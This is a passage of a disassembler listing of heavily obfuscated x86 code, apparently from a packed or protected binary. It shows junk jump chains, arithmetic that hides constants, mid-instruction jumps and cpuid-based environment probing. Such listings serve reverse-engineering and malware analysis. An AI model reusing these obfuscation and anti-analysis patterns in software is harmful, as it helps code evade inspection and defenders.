sub_42D120+2j ror eax, 17h push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42D120 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4286EC loc_42A4C7: ; CODE XREF: sub_4286EC+Fj jmp loc_428785 ; END OF FUNCTION CHUNK FOR sub_4286EC ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: wto1jq8f:00427576j mov eax, ds:dword_429050 or eax, eax jnz loc_4295C4 jmp loc_426417 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42A4DF: ; CODE XREF: sub_4244EA+Cj ; wto1jq8f:0042688Fj call sub_42DE65 loc_42A4E4: ; CODE XREF: sub_429471+1E62j jnz near ptr byte_42FD57 jmp loc_42B97F ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42A4EF: ; CODE XREF: sub_42CBD1:loc_42B1F5j jz loc_4284A1 jmp loc_42B0DD ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; =============== S U B R O U T I N E ======================================= sub_42A4FA proc near ; CODE XREF: sub_4260DB+57EDj ; wto1jq8f:loc_42B9C1p xchg edx, [esp+0] loc_42A4FD: ; CODE XREF: wto1jq8f:0042C710j pop edx jmp loc_42EA25 sub_42A4FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42A503: ; CODE XREF: wto1jq8f:004243B0j ; wto1jq8f:00428043j ... call dword ptr [ebp-4] neg eax sbb eax, eax push offset loc_42D789 jmp loc_426FD1 ; --------------------------------------------------------------------------- xor eax, 200000h xchg eax, ecx push ecx xchg eax, ecx popf pushf xchg edi, [esp] push edi jmp loc_42AF6E ; --------------------------------------------------------------------------- loc_42A529: ; CODE XREF: wto1jq8f:0042A6DEj jnz loc_42C8F1 jmp loc_42957C ; --------------------------------------------------------------------------- mov edx, 8D40711Dh push eax push 18952095h pop eax call sub_429E99 ; START OF FUNCTION CHUNK FOR sub_4259FF loc_42A545: ; CODE XREF: sub_4259FF+Aj jmp loc_426B93 ; END OF FUNCTION CHUNK FOR sub_4259FF ; --------------------------------------------------------------------------- loc_42A54A: ; CODE XREF: wto1jq8f:00427E75j mov [esp], ecx pop ecx push eax push eax push 775BD709h pop eax add eax, 88E689EAh xchg eax, [esp] jmp sub_42AECE ; --------------------------------------------------------------------------- loc_42A564: ; DATA XREF: sub_42A8ED:loc_428D32o mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A568: ; CODE XREF: sub_426535+6353j jmp nullsub_100 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42A56D proc near ; CODE XREF: sub_42A8ED-64B6p ; sub_429BFF-52B3p ... push ebp call sub_42EA31 loc_42A573: ; CODE XREF: sub_42E597:loc_42D658j call sub_42A3BC loc_42A578: ; CODE XREF: sub_42DC5C-3E9Cj jmp nullsub_15 sub_42A56D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_42A57D: ; CODE XREF: sub_427DA7-D38j jmp loc_42A96E ; END OF FUNCTION CHUNK FOR sub_427DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_42A582: ; CODE XREF: sub_42E541:loc_42E43Aj or [edx-8], eax loc_42A585: ; CODE XREF: wto1jq8f:00427D69j ; wto1jq8f:loc_42A386j ... jb loc_428C5A cmp dword ptr [ebp-14h], 4 jnz loc_42AC2F jmp near ptr loc_42EF18+1 ; END OF FUNCTION CHUNK FOR sub_42E541 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A59B proc near ; DATA XREF: sub_4267AE+13F2o ; wto1jq8f:0042DE99o ; FUNCTION CHUNK AT 0042BBAE SIZE 00000005 BYTES push ebp mov ebp, esp push offset sub_4260DB jmp loc_42BBAE sub_42A59B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A5A8: ; CODE XREF: sub_426535+5C4Dj jz loc_42865F jmp loc_42D5E4 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42A5B3: ; CODE XREF: wto1jq8f:loc_4271E7j xchg esi, [esp] mov ebp, esi pop esi jmp loc_428B27 ; --------------------------------------------------------------------------- loc_42A5BE: ; CODE XREF: wto1jq8f:00428505j push ebx jmp loc_42E0D1 ; =============== S U B R O U T I N E ======================================= sub_42A5C4 proc far ; CODE XREF: wto1jq8f:00424E28j ; wto1jq8f:00425F17p ; FUNCTION CHUNK AT 0042ABB1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042BB08 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 0C1DBC2FBh xchg edi, [esp+0] jmp loc_42BB08 sub_42A5C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg edx, [esp] pop edx mov byte ptr [ebp-805h], 0 mov byte ptr [ebp-804h], 0 call near ptr sub_42E919 loc_42A5EC: ; CODE XREF: wto1jq8f:0042C7EBj jmp near ptr loc_42FEDF+4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_42A5F1: ; CODE XREF: sub_426950-207Dj jmp loc_42AD8A ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_42A5F6: ; CODE XREF: sub_428DDD+56BBj rol ebx, 7 add ebx, 6D3916B1h add ebx, ebp add ebx, 0A20E2E19h jmp loc_42BE9E ; END OF FUNCTION CHUNK FOR sub_428DDD ; --------------------------------------------------------------------------- dd 1DAB8A0Fh, 33E90000h db 3Dh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42A617 proc far ; CODE XREF: sub_426535+10B6p ; wto1jq8f:0042CD7Cj ; FUNCTION CHUNK AT 00426119 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042636F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042F221 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042F273 SIZE 00000012 BYTES xchg ecx, [esp+0] pop ecx test byte ptr [eax-10h], 38h jnz loc_42D6FF jmp loc_42636F sub_42A617 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42A62A: ; CODE XREF: wto1jq8f:loc_42DAA9j jnz loc_427E5F lea eax, [ebp-14h] call sub_427E50 jmp near ptr loc_42F390+5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D7 loc_42A63D: ; CODE XREF: sub_4243D7+Ej jmp loc_426227 ; END OF FUNCTION CHUNK FOR sub_4243D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42A642: ; CODE XREF: sub_42ADC7+3C34j jnz loc_426A19 jmp loc_427361 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_42A64D: ; CODE XREF: wto1jq8f:loc_42B1FFj jz loc_429BEC jmp loc_425CF5 ; --------------------------------------------------------------------------- loc_42A658: ; CODE XREF: wto1jq8f:loc_4264C8j inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_42C912 jmp loc_42E6FB ; --------------------------------------------------------------------------- cdq jmp loc_42F216 ; --------------------------------------------------------------------------- mov edx, [eax] jmp loc_424DAB ; --------------------------------------------------------------------------- loc_42A67A: ; CODE XREF: wto1jq8f:0042A1F4j mov esi, 75291D36h jmp near ptr loc_42FA2B+3 ; --------------------------------------------------------------------------- jmp loc_429D18 ; --------------------------------------------------------------------------- jmp loc_4272D9 ; --------------------------------------------------------------------------- loc_42A68E: ; CODE XREF: wto1jq8f:0042D2D2j push eax push 0F3B1516h pop eax and eax, 0CCF47B94h jmp loc_42E760 ; --------------------------------------------------------------------------- loc_42A6A0: ; CODE XREF: wto1jq8f:004273EDj mov ebx, esi pop esi add ebx, 787C6386h xchg ebx, [esp] jmp sub_42660F ; --------------------------------------------------------------------------- loc_42A6B1: ; CODE XREF: wto1jq8f:004261CDj ror edi, 0Eh jno loc_42D311 jg locret_42A466 and edx, 8576A679h mov esi, [eax] jmp loc_425F61 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42A6CD proc near ; CODE XREF: sub_42D993:loc_4294AAp ; wto1jq8f:0042EBBBj mov [esp+0], ecx pop ecx call near ptr loc_42F184+1 sub_42A6CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- test al, al jz locret_42745B jmp loc_42A529 ; --------------------------------------------------------------------------- loc_42A6E3: ; DATA XREF: sub_42EADC+178o mov ebp, esp add esp, 0FFFFFFF8h push ebx push 0B36E214Dh pop ebx add ebx, 4CD47B48h xchg ebx, [esp] jmp sub_427F4E ; --------------------------------------------------------------------------- mov edx, 729645CDh push eax call sub_4245FF jmp loc_42DC7A ; --------------------------------------------------------------------------- loc_42A70D: ; CODE XREF: wto1jq8f:00428768j jmp locret_4277F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C40 loc_42A712: ; CODE XREF: sub_425C40+8j jmp loc_427176 ; END OF FUNCTION CHUNK FOR sub_425C40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42A717: ; CODE XREF: sub_4269FD:loc_42E765j jz loc_42A21C jmp loc_429F8E ; --------------------------------------------------------------------------- loc_42A722: ; CODE XREF: sub_4269FD+54F4j pop ecx loc_42A723: ; CODE XREF: sub_4269FD:loc_42B515j call nullsub_3 locret_42A728: ; CODE XREF: wto1jq8f:loc_425B31j retn ; END OF FUNCTION CHUNK FOR sub_4269FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42A72A: ; CODE XREF: sub_42ADC7+991j jmp near ptr loc_42FFD2+4 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- db 0E2h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42A734: ; CODE XREF: sub_42DC5C-7CBj jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- db 0C7h, 62h, 13h dword_42A73C dd 0 ; sub_42660F-70Cr ... ; --------------------------------------------------------------------------- loc_42A740: ; CODE XREF: wto1jq8f:0042CF93j jmp loc_424257 ; --------------------------------------------------------------------------- db 0D5h, 87h, 0F2h dword_42A748 dd 0 ; wto1jq8f:00426BFEw ... ; --------------------------------------------------------------------------- loc_42A74C: ; CODE XREF: wto1jq8f:00429348j test ebx, 72096714h jmp loc_42BC33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42A757: ; CODE XREF: sub_424D3A:loc_424D3Bj mov ebp, esp add esp, 0FFFFF7ECh push 339D7377h pop eax sub eax, ds:4000F0h rol eax, 16h jmp loc_42D8A9 ; END OF FUNCTION CHUNK FOR sub_424D3A ; --------------------------------------------------------------------------- loc_42A773: ; CODE XREF: wto1jq8f:0042A2E5j call sub_4272B5 loc_42A778: ; CODE XREF: wto1jq8f:0042CA45j xchg ebp, [ecx] jmp loc_42EC1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42A77F: ; CODE XREF: sub_4283CC+5j jo loc_428B81 call sub_42A491 ; END OF FUNCTION CHUNK FOR sub_4283CC ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_42A78A: ; CODE XREF: sub_42CB49:loc_425A62j add eax, 6CEF50A3h cpuid cmp eax, 80000000h jbe loc_4248DF jmp loc_4284E1 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- loc_42A7A2: ; DATA XREF: sub_425CE2:loc_42778Do push edx push eax mov eax, [ebp-18h] add eax, eax cdq add eax, [esp] adc edx, [esp+4] add esp, 8 jmp loc_42FAAE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A7BA: ; CODE XREF: wto1jq8f:0042C268j jmp sub_42DFE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A7BF: ; CODE XREF: sub_426535+4Ej jmp loc_427FA2 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42A7C4: ; CODE XREF: sub_42760F:loc_4249ACj mov eax, [ebp-1Ch] mov al, [eax] push offset loc_42A9F4 jmp loc_42D11B ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42A7D3: ; CODE XREF: sub_4284EC+6204j ror eax, 8 loc_42A7D6: ; CODE XREF: wto1jq8f:loc_4297E9j push eax retn ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- jmp loc_424830 ; --------------------------------------------------------------------------- loc_42A7DD: ; CODE XREF: wto1jq8f:00428431j jmp loc_42E108 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A7E2 proc near ; CODE XREF: sub_42DE87-5D58j ; wto1jq8f:00429F1Ep ; FUNCTION CHUNK AT 00425B5D SIZE 00000005 BYTES push ebp mov ebp, esp push offset loc_424375 jmp loc_425B5D sub_42A7E2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42A7EF: ; CODE XREF: sub_424D58+7708j ror eax, 17h push esi mov esi, eax xchg esi, [esp+0] jmp loc_42915B ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- locret_42A7FD: ; CODE XREF: wto1jq8f:loc_42CC5Bj retn ; --------------------------------------------------------------------------- loc_42A7FE: ; CODE XREF: wto1jq8f:0042E17Aj jmp loc_424D91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42A803: ; CODE XREF: sub_42A2B8+3827j jmp loc_42CB7A ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42A808: ; CODE XREF: sub_4269FD+3835j jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A80D: ; CODE XREF: sub_426535-1C34j jmp loc_42AC2F ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42A812: ; CODE XREF: wto1jq8f:0042835Cj ; DATA XREF: wto1jq8f:00428763o add edx, 254CE74h call sub_428B3B push offset sub_42CE5D jmp loc_42F9C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_42A827: ; CODE XREF: sub_428D47-160Dj sub ecx, 11C3C078h xor ecx, 81942242h add ecx, ebp add ecx, 0F7FB2A0Dh mov ecx, [ecx] push ebx jmp loc_42C9AA ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A843: ; CODE XREF: sub_426535:loc_426A4Aj jnz loc_428BDF jmp loc_42A2EB ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42A84E: ; CODE XREF: wto1jq8f:0042B74Bj mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42903A loc_42A858: ; CODE XREF: sub_42903A+Fj jmp loc_42F42D ; END OF FUNCTION CHUNK FOR sub_42903A ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 0BFh dd 5F00002Fh ; --------------------------------------------------------------------------- mov [edi], esi loc_42A866: ; CODE XREF: wto1jq8f:loc_42C964j lea eax, [ebp-25Ch] cmp dword ptr [eax], 47424454h jmp loc_42EAE2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42A878: ; CODE XREF: sub_42D9D9+1Ej jmp loc_429D86 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- jnz loc_427C0C jmp loc_42FF95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42A888: ; CODE XREF: sub_42DC5C+150j mov edi, 0D62C2116h ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42A88D proc near ; CODE XREF: wto1jq8f:00426DF7p ; FUNCTION CHUNK AT 00427421 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427777 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428B1A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428F4C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429BE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B2D8 SIZE 00000024 BYTES mov [esp+0], esi pop esi add eax, 5949AAAAh mov eax, [eax] or eax, eax jnz loc_4263E7 jmp loc_429BE7 sub_42A88D endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, eax jnz loc_429445 jmp loc_4272EE ; --------------------------------------------------------------------------- test eax, eax jz loc_425F96 jmp loc_424C05 ; --------------------------------------------------------------------------- loc_42A8C0: ; CODE XREF: wto1jq8f:00425AFFj jnb loc_429268 rol edi, 0Dh jmp loc_424F51 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42A8CF: ; CODE XREF: sub_42B02D+387j jmp loc_42D80A ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- mov edx, 64EFA9EDh push ebx push 85B64704h pop ebx xor ebx, 0E2D98D15h jmp loc_4241DF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A8EC: ; CODE XREF: wto1jq8f:004275B7j cdq ; =============== S U B R O U T I N E ======================================= sub_42A8ED proc near ; CODE XREF: sub_42ED32p ; FUNCTION CHUNK AT 0042442B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00427916 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D32 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042BA9F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CAD3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D12E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D376 SIZE 00000021 BYTES mov [esp+0], ebx pop ebx js sub_42D397 push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_425920, 0 jmp loc_427916 sub_42A8ED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42A909 proc far ; DATA XREF: wto1jq8f:0042D56Eo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424024 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004241C6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00424473 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00425098 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425C8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427417 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004275A3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427EEA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427F74 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004285D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E4D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428EB6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428ED1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429F2C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042A931 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042A950 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042ACAC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042AFA5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042B297 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C58A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D23E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042E71D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E81B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042ED98 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FA84 SIZE 0000000A BYTES test al, al jz loc_42A950 jmp loc_425C8A sub_42A909 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42A916: ; CODE XREF: sub_42EDB9-5B6j jz loc_42E79B jmp loc_4285D0 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- push eax rol eax, 0Fh mov ds:dword_42954C, eax retn ; --------------------------------------------------------------------------- loc_42A92C: ; CODE XREF: wto1jq8f:0042D10Aj call loc_42EEB0 ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42A931: ; CODE XREF: sub_42A909+293Bj jnb loc_42808C not edi popf loc_42A93A: ; CODE XREF: sub_42A909:loc_425C8Aj call nullsub_128 retn ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- jmp locret_42D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42A945: ; CODE XREF: sub_4269FD-D2j jmp loc_42E149 ; END OF FUNCTION CHUNK FOR sub_4269FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42A94B: ; CODE XREF: sub_42D434+Dj jmp loc_42E4B5 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42A950: ; CODE XREF: wto1jq8f:loc_429201j ; sub_42A909+2j call near ptr sub_42CB36 jmp loc_42D249 ; END OF FUNCTION CHUNK FOR sub_42A909 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42A95B: ; CODE XREF: sub_4293FF+4E98j jmp loc_42804E ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42501F loc_42A960: ; CODE XREF: sub_42501F+1Ej jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_42501F ; --------------------------------------------------------------------------- pushf xor ebx, ecx jmp sub_425B46 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_42A96E: ; CODE XREF: sub_427DA7:loc_42A57Dj mov eax, ecx pop edx pop eax mov ecx, offset loc_42A985 xchg ecx, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_427DA7 ; --------------------------------------------------------------------------- jmp loc_424617 ; --------------------------------------------------------------------------- loc_42A980: ; CODE XREF: wto1jq8f:00428598j jmp loc_42C1E1 ; --------------------------------------------------------------------------- loc_42A985: ; DATA XREF: sub_427DA7+2BCBo pop ebx jmp loc_42736E ; --------------------------------------------------------------------------- loc_42A98B: ; CODE XREF: wto1jq8f:0042BC47j rol edx, 0Fh loc_42A98E: ; CODE XREF: wto1jq8f:loc_429342j call sub_4242D6 mov edx, 1AE260E8h call sub_429165 push eax rol eax, 0Eh loc_42A9A1: ; CODE XREF: wto1jq8f:loc_4289BAj call sub_42618A ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_42A9A6: ; CODE XREF: sub_42DB52-92D6j test edx, 0D8739B24h jmp loc_426485 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A9B1: ; CODE XREF: sub_426535+30D4j cmp edx, 0A072F1D0h jmp loc_42DC1B ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 1Bh db 0D9h ; Ù db 0Fh db 8Fh ; db 40h ; @ db 0BCh ; ¼ db 0FFh db 0FFh db 0E9h ; é db 0BFh ; ¿ db 35h ; 5 db 0 db 0 ; --------------------------------------------------------------------------- loc_42A9C9: ; CODE XREF: wto1jq8f:00424A69j jnz loc_425ED2 jmp loc_425A83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42A9D4: ; CODE XREF: sub_42D4FD:loc_428EC7j mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_42D600 or eax, eax jmp loc_42C6D9 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42A9E7: ; CODE XREF: sub_42BE69:loc_429054j sub eax, 0AFACE392h mov ebx, ecx jmp loc_42DBE7 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- loc_42A9F4: ; DATA XREF: sub_42760F+31BAo mov edx, [ebp-20h] mov [edx], al inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] jmp loc_42ACDF ; =============== S U B R O U T I N E ======================================= sub_42AA04 proc near ; CODE XREF: sub_429E0Cj ; DATA XREF: sub_429DFC+6o ; FUNCTION CHUNK AT 0042CE40 SIZE 0000000E BYTES mov eax, ds:dword_42DB08 or eax, eax jnz loc_42CE55 call sub_424585 jmp loc_42CE40 sub_42AA04 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42AA1C: ; CODE XREF: wto1jq8f:00429449j push 426BAB73h mov esi, offset loc_42AA2A xchg esi, [esp] retn ; --------------------------------------------------------------------------- loc_42AA2A: ; CODE XREF: wto1jq8f:0042DE71j ; DATA XREF: wto1jq8f:0042AA21o add esi, 8958E4EEh and esi, 8BC676F0h add esi, 747E781Eh xchg esi, [esp] jmp loc_42665E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42AA44: ; CODE XREF: sub_428333:loc_42A12Bj call near ptr loc_42F862+1 ; END OF FUNCTION CHUNK FOR sub_428333 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42AA49: ; CODE XREF: sub_4244EA+7523j jmp loc_428DA3 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42AA4E: ; CODE XREF: sub_42DEFF-1432j sub eax, 0E738AEB7h add eax, 722D0A55h add eax, ebp add eax, 0E2D4034Bh call near ptr sub_426535 locret_42AA67: ; CODE XREF: sub_42D2BB-30E6j retn ; END OF FUNCTION CHUNK FOR sub_42DEFF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42AA68 proc far ; CODE XREF: sub_425944+8C22p ; FUNCTION CHUNK AT 00428620 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BCF7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042EBCA SIZE 0000001F BYTES call sub_42CF50 call sub_42E076 sub_42AA68 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C049 loc_42AA72: ; CODE XREF: sub_42C049+Fj jmp loc_42EBCA ; END OF FUNCTION CHUNK FOR sub_42C049 ; --------------------------------------------------------------------------- shr edi, 0Eh jmp loc_426368 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F8F loc_42AA7F: ; CODE XREF: sub_427F8F+Ej inc dword ptr [ebp-8] loc_42AA82: ; CODE XREF: sub_429471-4B08j ; sub_429471-4AFFj mov eax, [ebp-8] pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_427F8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_42AA89: ; CODE XREF: sub_42A197-3834j jmp loc_4288CD ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- mov eax, [eax] call sub_42D765 mov esp, ebp pop ebp push edx push 7D916B91h pop edx jmp loc_424B56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B565 loc_42AAA4: ; CODE XREF: sub_42B565:loc_424522j jb loc_4250B5 mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] jmp loc_4250AC ; END OF FUNCTION CHUNK FOR sub_42B565 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429459 loc_42AAB8: ; CODE XREF: sub_429459+13j cmp eax, 68A0BA1Ah jmp loc_42D516 ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_425DD4 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42AACF: ; CODE XREF: wto1jq8f:0042861Aj jmp loc_42729D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250D4 loc_42AAD4: ; CODE XREF: sub_4250D4+21j jmp near ptr loc_42F9D2+4 ; END OF 